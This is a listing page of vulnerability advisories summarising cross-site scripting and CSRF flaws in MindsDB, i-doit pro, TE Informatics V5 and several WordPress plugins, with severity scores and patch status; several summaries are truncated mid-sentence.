A cross-site scripting (XSS) vulnerability exists in all versions of the MindsDB platform, enabling the execution of a JavaScript payload whenever a user enumerates an ML Engine, database, project,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mindsdb
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in idoit pro version 28. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS I Doit
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The amCharts: Charts and Maps plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'amcharts_javascript' parameter in all versions up to, and including, 1.4.4 due to the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Amcharts
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in TE Informatics V5 allows Reflected XSS.2. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS V5
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The MM-Breaking News WordPress plugin through 0.7.9 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mm Breaking News
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The MM-Breaking News WordPress plugin through 0.7.9 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Misiek Paypal WordPress plugin through 1.1.20090324 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
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